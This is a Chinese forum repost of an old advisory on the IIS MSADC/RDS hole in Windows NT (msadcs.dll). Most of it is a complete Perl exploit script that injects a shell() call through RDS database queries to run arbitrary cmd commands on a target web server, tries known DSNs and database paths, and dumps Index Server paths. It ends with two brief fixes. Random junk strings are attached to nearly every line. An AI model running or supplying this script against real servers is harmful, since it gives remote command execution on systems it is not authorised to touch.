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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) T72Li"00  
^Ip\`2^u  
涉及程序: + o< 7*  
Microsoft NT server p!DdX  
o<b  
描述: djf8FNnn  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 fCa lR7!  
wOUCe#P|r  
详细: ++2a xRl  
如果你没有时间读详细内容的话,就删除: v*excl~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll KXTk.\c  
有关的安全问题就没有了。 L^^f.w#m  
G} [$M"}  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 G]l/L\{  
bIt{kzuQC  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 mC ]Krnx  
关于利用ODBC远程漏洞的描述,请参看: "% \ y$  
bjUe+ #BL  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm AJ 0Bb7  
(N}\Wft%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -{3^~vW|<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp $LR~c)}1I  
#\~m}O,  
这里不再论述。 Pd:tRY+t/  
]I~BgE;C9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Jv2V@6a(  
%Y`)ZKh  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ADP[KZO$ 4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  0Ns Po  
)$Fw<;4  
Pw|/PfG  
#将下面这段保存为txt文件,然后: "perl -x 文件名" #SLi v  
W*c^(W  
#!perl 1%.CtTi  
# .Xta;Py|J  
# MSADC/RDS 'usage' (aka exploit) script cCtd\/ \  
# 5k_%%><: q  
# by rain.forest.puppy IL8&MA%  
# p<a~L~xH6  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #6AcM"  
# beta test and find errors! ohXbA9&(x  
:)_P7k`>e/  
use Socket; use Getopt::Std; Sr10ot&ox  
getopts("e:vd:h:XR", \%args); @ceL9#:uc  
ue *mTMN  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; pv|D{39Hs  
({rescQB  
if (!defined $args{h} && !defined $args{R}) { TAM`i3{D  
print qq~ 0J)VEMC  
Usage: msadc.pl -h <host> { -d <delay> -X -v } P`hg*"<V  
-h <host> = host you want to scan (ip or domain) 2\}6b4  
-d <seconds> = delay between calls, default 1 second .dBW{|gN  
-X = dump Index Server path table, if available w RTzpG4  
-v = verbose NLWj5K)1P  
-e = external dictionary file for step 5 'vIVsv<p  
mnMY)-6C  
Or a -R will resume a command session #|xj*+)H  
t;%MSedn  
~; exit;} AK;G_L  
nRZ T~S4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; b|Ed@C  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} xJzO?a'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {-c[w&q  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .Wyx#9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} l&Fx< W  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~i@Z4t j7  
l$p"%5 ]_  
if (!defined $args{R}){ $ret = &has_msadc; 3Z)vJC9'  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;S>ml   
f#vVk  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" N'5!4JUI  
. "cmd /c "; M\9p-%"L  
$in=<STDIN>; chomp $in; 0Ioa;XgOn  
$command="cmd /c " . $in ; ]\R%@FCYc  
}WkR-5N  
if (defined $args{R}) {&load; exit;} T8QRO%t  
*O-si%@]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Y6%O9b  
&try_btcustmr; zI>,A|yy  
;@u+b0 j  
print "\nStep 2: Trying to make our own DSN..."; 8>^O]5Wo`X  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g60r m1b  
2ap0/l[  
print "\nStep 3: Trying known DSNs..."; 7+p=4i^@Zs  
&known_dsn; h "r)z6Q/  
9s6d+HhM  
print "\nStep 4: Trying known .mdbs..."; c/}bx52>u  
&known_mdb; a_(vpD^  
;lb@o,R :  
if (defined $args{e}){ ;fDs9=3#  
print "\nStep 5: Trying dictionary of DSN names..."; U@?Ro enn  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } D(S^g+rd  
hz+x)M`Y  
print "Sorry Charley...maybe next time?\n"; OGO4~Up  
exit; ?Da!QH >,]  
8BJ&"y8H  
############################################################################## |a {*r.  
ddjaM/.E  
sub sendraw { # ripped and modded from whisker &mvC<_1n  
sleep($delay); # it's a DoS on the server! At least on mine... a)8M'f_z  
my ($pstr)=@_; hbdM}"&]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0~XZ  
die("Socket problems\n"); SfwAMNCe  
if(connect(S,pack "SnA4x8",2,80,$target)){ V5LzUg]  
select(S); $|=1; AA,n.;zy<  
print $pstr; my @in=<S>; Q|o~\h<  
select(STDOUT); close(S); NvfQa6?;  
return @in; 0l ]K%5#  
} else { die("Can't connect...\n"); }} Y;XEC;PXD  
S(*SUH  
############################################################################## 6jtnH'E/  
[& &9F};  
sub make_header { # make the HTTP request n P4DHb&5  
my $msadc=<<EOT R oWGQney  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 i/U HDqZ  
User-Agent: ACTIVEDATA i~6qOlLD-  
Host: $ip &<sDbN S  
Content-Length: $clen $McVK>=  
Connection: Keep-Alive J;g+  
"M.vu}~>  
ADCClientVersion:01.06 cA4xx^~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 wGf SVA-q\  
_6 |lw&o07  
--!ADM!ROX!YOUR!WORLD! LY^pmak  
Content-Type: application/x-varg Xj<B!Wn*Xb  
Content-Length: $reqlen 8FThu[  
v5GV"qY  
EOT q>*+.~  
; $msadc=~s/\n/\r\n/g; ]MP6VT  
return $msadc;} W]rK*Dc  
!1}A\S  
############################################################################## %9A6c(L  
xeX Pc7JG  
sub make_req { # make the RDS request 0Y9\,y_  
my ($switch, $p1, $p2)=@_; *1KrI9i  
my $req=""; my $t1, $t2, $query, $dsn; XaV h.  
=)3tVH&  
if ($switch==1){ # this is the btcustmr.mdb query IPoNAi<b  
$query="Select * from Customers where City=" . make_shell(); QuJ)WaJkC  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . N?h=Zl|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 0ZXG{Gp9S  
AVA hS}*t  
elsif ($switch==2){ # this is general make table query \]W*0t>s  
$query="create table AZZ (B int, C varchar(10))"; f6ad@2  
$dsn="$p1";} y-93 >Y  
n LZ  
elsif ($switch==3){ # this is general exploit table query {? jr  
$query="select * from AZZ where C=" . make_shell(); jR#g>MDKB  
$dsn="$p1";} O#E]a<N`  
L= fz:H  
elsif ($switch==4){ # attempt to hork file info from index server Y\ len  
$query="select path from scope()"; bCF"4KXK  
$dsn="Provider=MSIDXS;";} n%]1p36  
0BM3:]=wr  
elsif ($switch==5){ # bad query )q\|f_  
$query="select"; ~ b ;%J:  
$dsn="$p1";} r-+.Ax4L"  
. j}dk.#h  
$t1= make_unicode($query); pN"d~Z8  
$t2= make_unicode($dsn); DUxj^,mf,  
$req = "\x02\x00\x03\x00"; ;_GS<[A3  
$req.= "\x08\x00" . pack ("S1", length($t1)); h`OX()N  
$req.= "\x00\x00" . $t1 ; dw8Ce8W  
$req.= "\x08\x00" . pack ("S1", length($t2)); T,,,+gPx  
$req.= "\x00\x00" . $t2 ; S3u>a\  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &oTUj'$  
return $req;} g jJ?*N[  
<3iL5}  
############################################################################## u+GtH;<;  
8=H!&+aGh  
sub make_shell { # this makes the shell() statement Yqy7__vm  
return "'|shell(\"$command\")|'";} JZP>`c21y]  
9GuG"^08  
############################################################################## D}wM$B@S  
Lc!% 3,#.  
sub make_unicode { # quick little function to convert to unicode `Li3=!V[  
my ($in)=@_; my $out; G-[fz  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } z )2h\S  
return $out;} YT6<1-E#  
%SL'X`j  
############################################################################## `Pv[A  
C{<qc,!4  
sub rdo_success { # checks for RDO return success (this is kludge) vl8Ums} +  
my (@in) = @_; my $base=content_start(@in); SNB >  
if($in[$base]=~/multipart\/mixed/){ J)iy6{0"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} WhsTKy&E  
return 0;} oX@0+*"  
#y"E hwF  
############################################################################## 6u`E{$  
r<38; a  
sub make_dsn { # this makes a DSN for us 7yLO<o?9w  
my @drives=("c","d","e","f"); .V9/0  
print "\nMaking DSN: "; j()<.h;'  
foreach $drive (@drives) {  q[#2`  
print "$drive: "; ,c#=qb8""  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . uI^E9r/hB  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;H5PiSq;z  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qh!2dj  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  &y/  
return 0 if $2 eq "404"; # not found/doesn't exist !SAjV)  
if($2 eq "200") { GU\}}j]  
foreach $line (@results) { j'#M'W3@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h[M~cZ{  
} return 0;} [!B($c|\  
,rT62w*e  
############################################################################## wiXdb[[#  
*P,dR]-m  
sub verify_exists { pZx'%-\-T  
my ($page)=@_; ORhe?E]  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Mj2o>N2,  
return $results[0];} a,3} o:f  
!%<bLD8  
############################################################################## JyY-@GF  
TQyi -Dc  
sub try_btcustmr { M}E0Msq_o  
my @drives=("c","d","e","f"); 47b=>D8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (a0q*iC%  
5T)qn`%  
foreach $dir (@dirs) { ,*SoV~  
print "$dir -> "; # fun status so you can see progress [hE0 9W  
foreach $drive (@drives) { kGsd3t!'  
print "$drive: "; # ditto hce *G@b  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~wmc5L/!?  
$reqlenlen=length( "$reqlen" ); :uE:mY%R  
$clen= 206 + $reqlenlen + $reqlen; #'N"<o[  
<QoSq'g#,=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Zi5d"V[}T  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} IKx]?0sS  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} AvF:$ kG  
'xi[- -  
############################################################################## j3`# v3  
v|:2U8YREf  
sub odbc_error { ]RgLTqv4x  
my (@in)=@_; my $base; WV]%llj^  
my $base = content_start(@in); n4Od4&r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this iq_y80g`8h  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JX%B_eUlAs  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SXfuPM  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Te=[tx~x  
return $in[$base+4].$in[$base+5].$in[$base+6];} e|)6zh<O:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; f>\guuG  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 5 Z+2  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $Fx:w  
bjvpYZC\5  
############################################################################## i`-,=RJ  
:td#zM  
sub verbose { $xRZU9+  
my ($in)=@_; 56k89o  
return if !$verbose; ))Ws{  
print STDOUT "\n$in\n";} {[~cQgCI  
wg<UCmfu!  
############################################################################## %$K2$dq5  
V7}5Zw1  
sub save { n]$50_@  
my ($p1, $p2, $p3, $p4)=@_; nA:\G":\y  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; J ik+t\A  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; T=6fZ;7  
close OUT;} K?[*9Q'\  
>*#clf;@p  
############################################################################## WqX#T  
i7g+8 zd8d  
sub load { HAa2q=  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; bvY'=   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !QK ~l  
@p=<IN>; close(IN); TX7B(JZD  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); HPT{83  
$target= inet_aton($ip) || die("inet_aton problems"); i[obQx S94  
print "Resuming to $ip ..."; ?;1^8 c0  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t?J Y@hT*  
if($p[1]==1) { )c vA}U.z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; M{#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !Z +4FwF  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {k.Dy92  
if (rdo_success(@results)){print "Success!\n";} >iefEv\  
else { print "failed\n"; verbose(odbc_error(@results));}} x8H%88!j*  
elsif ($p[1]==3){ |3\$\qa  
if(run_query("$p[3]")){ 7O6VnKl  
print "Success!\n";} else { print "failed\n"; }} xlQl1lOX  
elsif ($p[1]==4){ 9GdQ$^m  
if(run_query($drvst . "$p[3]")){ So &c\Ff  
print "Success!\n"; } else { print "failed\n"; }} @* a'B=7  
exit;} TG ,T>'   
d4@\5<  
############################################################################## Xq"@Z  
WR'm<u  
sub create_table { r?Y+TtF\e  
my ($in)=@_; fNz*E|]8&  
$reqlen=length( make_req(2,$in,"") ) - 28; &^WJ:BvA|^  
$reqlenlen=length( "$reqlen" ); )U4h?J  
$clen= 206 + $reqlenlen + $reqlen; fJ"#c<n  
my @results=sendraw(make_header() . make_req(2,$in,"")); -oGJPl{r  
return 1 if rdo_success(@results); +[l52p@a  
my $temp= odbc_error(@results); verbose($temp); V. sIiE  
return 1 if $temp=~/Table 'AZZ' already exists/; ~I^}'^Dbb  
return 0;} 1 o5DQ'~n  
4 qdLH^dX  
############################################################################## {4u8~whLp  
TUeW-'/1  
sub known_dsn { e~7h8?\.q  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {)^P_zha[9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", DtBIDU]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", H` !%"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); yl63VX8w}  
yP:/F|E$  
foreach $dSn (@dsns) { 7/*a  
print "."; slSQ\;CDA  
next if (!is_access("DSN=$dSn")); AEx|<E0  
if(create_table("DSN=$dSn")){ [5&zyIi  
print "$dSn successful\n"; Q8:`;W  
if(run_query("DSN=$dSn")){ 1S !<D)n  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C:C9swik"5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} CV <@Rgoa  
6*@\Qsp615  
############################################################################## T*"15ppfk  
 4{2)ZI#  
sub is_access { ).+!/x  
my ($in)=@_; -!]Ie4"  
$reqlen=length( make_req(5,$in,"") ) - 28; d~[^D<5,D  
$reqlenlen=length( "$reqlen" ); *ml&}9  
$clen= 206 + $reqlenlen + $reqlen; n ,<`.^  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8 jom)a  
my $temp= odbc_error(@results); VKa-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9A]XuPAlh  
return 0;} QInow2/u  
]s lYr8m  
############################################################################## k:(i sKIA  
B Z:H$v  
sub run_query { s(yVE  
my ($in)=@_; N7lWeF  
$reqlen=length( make_req(3,$in,"") ) - 28; LM_/:  
$reqlenlen=length( "$reqlen" ); Pw4j?pv2  
$clen= 206 + $reqlenlen + $reqlen; %,9iY&;U"  
my @results=sendraw(make_header() . make_req(3,$in,"")); #UN(R  
return 1 if rdo_success(@results); Rg*zUfu5%o  
my $temp= odbc_error(@results); verbose($temp); ?H9F"B$a  
return 0;} C#]%  
6km{= ```  
############################################################################## ,}&E=5MF\  
'TPRGX~&  
sub known_mdb { ,6[}qw) *  
my @drives=("c","d","e","f","g"); -e_+x'uF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); QC:/xP  
my $dir, $drive, $mdb; \Yv<Tz J9  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Nkfu k  
a$p2I+lX  
# this is sparse, because I don't know of many /f!_dJ^  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 9g" 1WZ!  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^'8T9N@U  
"\\system32\\certmdb.mdb", @Yua%n6]#D  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :j/PtNT@  
U:]b&I  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", l 6.#s3I['  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ov{fO  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", f[)_=T+  
"\\cfusion\\cfapps\\security\\realm_.mdb", }vOUf# ^k  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _q([k_4h  
"\\cfusion\\database\\cfexamples.mdb", cK.T=7T  
"\\cfusion\\database\\cfsnippets.mdb", S fE^'G\  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 9E{Bn#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^&t(O1.-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", I>b-w;cC  
"\\cfusion\\database\\smpolicy.mdb", +NRn>1]  
"\\cfusion\\database\cypress.mdb", W%]sI n  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 0D1yG(ck  
"\\website\\cgi-win\\dbsample.mdb",  U4#[>*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", mY9u/; dK  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {aq\sf;i{  
); #these are just NEQcEUd?  
foreach $drive (@drives) { G+ =6]0HT  
foreach $dir (@dirs){ ]rM{\En  
foreach $mdb (@sysmdbs) { U5mec167  
print "."; 0|X!Uw-Q%_  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ NF=FbvNe  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; (^g?/i1@d  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !x.^ya  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; pj,.RcH@o  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _C?<re3*  
|7Z,z0 ?V  
foreach $drive (@drives) { f}bUuQrH-!  
foreach $mdb (@mdbs) { ]>@; 2%YvY  
print "."; `$`:PT\Zv4  
if(create_table($drv . $drive . $dir . $mdb)){ ,eRl Z3T  
print "\n" . $drive . $dir . $mdb . " successful\n"; Yt*M|0bL  
if(run_query($drv . $drive . $dir . $mdb)){ 8eP2B281  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ' U(v  
} else { print "Something's borked. Use verbose next time\n"; }}}} )61CrQiY  
} ~4Is   
S[UHx}.  
############################################################################## {Ny\9r  
U'LO;s04m  
sub hork_idx { R~b9)  
print "\nAttempting to dump Index Server tables...\n"; B$7m@|p!  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; I=hgfo  
$reqlen=length( make_req(4,"","") ) - 28; 6<H[1PI`,G  
$reqlenlen=length( "$reqlen" );  e4NT  
$clen= 206 + $reqlenlen + $reqlen; 8QYG"CA6/  
my @results=sendraw2(make_header() . make_req(4,"","")); sTqy-^e7  
if (rdo_success(@results)){ =!xeki]|9  
my $max=@results; my $c; my %d; ~nb%w?vv  
for($c=19; $c<$max; $c++){ S6H=(l58  
$results[$c]=~s/\x00//g; .Gl&K|/{j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; qce#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8 Oeg"d  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k=Ef)'  
$d{"$1$2"}="";} eEJ8j_G  
foreach $c (keys %d){ print "$c\n"; } `<t{NJ&f  
} else {print "Index server doesn't seem to be installed.\n"; }} 'O`jV0aa'  
~0?p @8  
############################################################################## S$]:3  
ORa!84L  
sub dsn_dict { &F\J%#{  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6f=/vRAh$  
while(<IN>){ p'k stiB  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @Risab n  
next if (!is_access("DSN=$dSn")); ,@!8jar@w}  
if(create_table("DSN=$dSn")){ ?OKm~ Ek  
print "$dSn successful\n"; *6*#"#D  
if(run_query("DSN=$dSn")){ cFUYT$8>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #`a-b<uz  
print "Something's borked. Use verbose next time\n";}}} UVu"meZX  
print "\n"; close(IN);} #`GW7(M  
wRPBJ-C)  
############################################################################## UF<|1;'  
*ILS/`mdav  
sub sendraw2 { # ripped and modded from whisker [CPZj*|b  
sleep($delay); # it's a DoS on the server! At least on mine... }p t5.'l  
my ($pstr)=@_; _DC/`_'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g)$Pvfc  
die("Socket problems\n"); OJ UM Y<5  
if(connect(S,pack "SnA4x8",2,80,$target)){ =&"Vf!7YR7  
print "Connected. Getting data"; zx-+u7qKH  
open(OUT,">raw.out"); my @in; :G^`LyOM  
select(S); $|=1; print $pstr; Vu\|KL|  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} R)cns7oW  
close(OUT); select(STDOUT); close(S); return @in; -xXNzC   
} else { die("Can't connect...\n"); }} 46_<v=YSJ  
'n:Ft  
############################################################################## %~p_bKd~  
/F;*[JZIb  
sub content_start { # this will take in the server headers .F#mT h  
my (@in)=@_; my $c; Q77qrx3  
for ($c=1;$c<500;$c++) { eiEZtu  
if($in[$c] =~/^\x0d\x0a/){ $%r|V*5  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 6xL=JSi~  
else { return $c+1; }}} 8<n8joO0  
return -1;} # it should never get here actually 9,`mH0jP  
CI{]o&Tf  
############################################################################## 'dWJ#9C  
phXVuQ  
sub funky { ZX'{o9+w5  
my (@in)=@_; my $error=odbc_error(@in); X""'}X|O  
if($error=~/ADO could not find the specified provider/){ oTI*mGR1Z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; TP{a*ke^5,  
exit;} F5 LQgK-z  
if($error=~/A Handler is required/){ iqy}|xAU  
print "\nServer has custom handler filters (they most likely are patched)\n"; +crAkb}i  
exit;} o95O!5 hl  
if($error=~/specified Handler has denied Access/){ e!4akKw4wD  
print "\nServer has custom handler filters (they most likely are patched)\n"; =~=/ dq  
exit;}} t C6c4j  
FG#j0#|*  
############################################################################## c+a f=ac  
]3={o3[:  
sub has_msadc { i"rMP#7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); R1Pnj  
my $base=content_start(@results); (X>y)V  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @0 -B&w  
return 0;} -m|b2g}"3  
]`. d%Vx  
######################## ~|uCZ.;o  
cJA :vHyw  
On'3K+(_  
解决方案: :ZL>JVk  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Vj2GK"$v  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 |ni cvg@  
5ef&Ih.3  
拿出来充数 哈哈
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